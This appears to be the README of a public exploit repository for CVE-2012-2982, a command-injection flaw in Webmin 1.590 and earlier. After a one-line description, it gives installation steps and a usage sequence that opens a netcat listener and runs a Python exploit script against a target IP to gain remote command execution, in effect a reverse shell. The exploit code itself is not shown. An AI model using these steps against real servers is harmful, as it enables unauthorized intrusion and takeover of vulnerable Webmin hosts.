CVE-2012-2982

Description

file/show.cgi in Webmin 1.590 and earlier allows remote authenticated users to execute arbitrary commands via an invalid character in a pathname, as demonstrated by a | (pipe) character.

Installation

1. git clone https://github.com/CpyRe/CVE-2012-2982.git
2. pip3 install -r requirements.txt

Usage

1. nc -nlvp <port>
2. python3 exp.py <myip> <vulnip> <port> OR python3 subprocess-exp.py <myip> <vulnip> <port>
3. RCE!!